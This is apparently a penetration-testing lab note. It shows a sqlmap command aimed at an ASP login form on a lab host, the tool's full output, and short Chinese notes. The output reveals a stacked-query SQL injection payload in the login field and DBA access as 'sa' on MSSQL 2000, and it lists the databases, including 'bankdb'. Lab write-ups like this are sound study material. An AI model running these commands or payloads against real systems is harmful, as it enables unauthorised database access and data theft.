# sqlmap -u "http://10.11.1.128/login-off.asp" --data="txtLoginID=amdin&txtPassword=1&cmdSubmit=Login" --dbs --current-user --is-dba --current-db --batch ___ __H__ ___ ___[']_____ ___ ___ {1.1.6#stable} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:40:12
[18:40:12] [INFO] resuming back-end DBMS 'microsoft sql server' [18:40:12] [INFO] testing connection to the target URL [18:40:12] [INFO] heuristics detected web page charset 'ascii' sqlmap resumed the following injection point(s) from stored session: --- Parameter: txtLoginID (POST) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: txtLoginID=amdin';WAITFOR DELAY '0:0:5'--&txtPassword=1&cmdSubmit=Login --- [18:40:12] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2000 web application technology: ASP, Microsoft IIS 5.0 back-end DBMS: Microsoft SQL Server 2000 current user: 'sa' current database: 'bankdb' [18:40:12] [INFO] testing if current user is DBA current user is DBA: True [*] bankdb [*] master [*] model [*] msdb [*] tempdb [18:40:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.11.1.128' [*] shutting down at 18:40:12
发现如下的信息:
web服务器是Windows 2000
web应用是Microsoft IIS5.0
后台的数据库系统是MSSQL 2000
SQL注入类型是POST类型的Stacked Queries with POST method , 意味着我们可以执行堆叠查询